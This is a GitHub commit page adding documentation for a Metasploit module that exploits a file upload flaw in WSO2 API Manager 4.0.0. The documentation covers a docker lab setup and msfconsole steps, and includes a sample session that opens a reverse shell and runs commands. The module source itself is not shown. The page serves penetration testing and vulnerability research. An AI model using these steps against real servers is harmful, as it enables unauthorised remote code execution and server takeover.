Skip to content

Commit 09d84ea

Browse files
committed
Added module for WSO2 API Manager Documentation File Upload Remote Code Execution
Closes rapid7#19646 on-behalf-of: @redwaysecurity <[email protected]>
1 parent 4c659ed commit 09d84ea

File tree

2 files changed

+493
-0
lines changed

2 files changed

+493
-0
lines changed
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
## Vulnerable Application
2+
3+
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
4+
(`/permission/admin/login` and `/permission/admin/manage/api/publish`) to upload arbitrary files to a user-controlled
5+
server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
6+
7+
```yaml
8+
services:
9+
api-manager:
10+
image: wso2/wso2am:4.0.0-alpine
11+
container_name: swo2_api_manager
12+
ports:
13+
- "9443:9443"
14+
15+
```
16+
17+
```bash
18+
docker-compose up
19+
```
20+
21+
22+
23+
## Verification Steps
24+
25+
1. Install the application
26+
1. Start msfconsole
27+
1. Do: `use multi/http/wso2_api_manager_file_upload_rce`
28+
1. Do: `set rhosts [ip]`
29+
1. Do: `set lhost [ip]`
30+
1. Do: `run`
31+
1. You should get a shell.
32+
33+
## Scenarios
34+
35+
### WSO2 API Manager 4.0.0
36+
```
37+
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit
38+
39+
[*] Started reverse TCP handler on 0.0.0.0:4444
40+
[*] Running automatic check ("set AutoCheck false" to disable)
41+
[*] Checking target...
42+
[+] Authentication successful
43+
[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
44+
[+] Authentication successful
45+
[*] Listing APIs...
46+
[+] Document created successfully
47+
[*] Uploading payload...
48+
[+] Payload uploaded successfully
49+
[*] Executing payload...
50+
[+] Payload executed successfully
51+
[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100
52+
53+
id
54+
uid=802(wso2carbon) gid=802(wso2) groups=802(wso2)
55+
pwd
56+
/home/wso2carbon/wso2am-4.0.0
57+
exit
58+
[*] 127.0.0.1 - Command shell session 2 closed.
59+
```
60+
61+
## Options
62+
63+
### USERNAME (required)
64+
65+
The username to authenticate with.
66+
67+
### PASSWORD (required)
68+
69+
The password of the user to authenticate with.
70+
71+
### RHOSTS (required)
72+
73+
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
74+
75+
### RPORT (required)
76+
77+
The target port (TCP)

0 commit comments

Comments
 (0)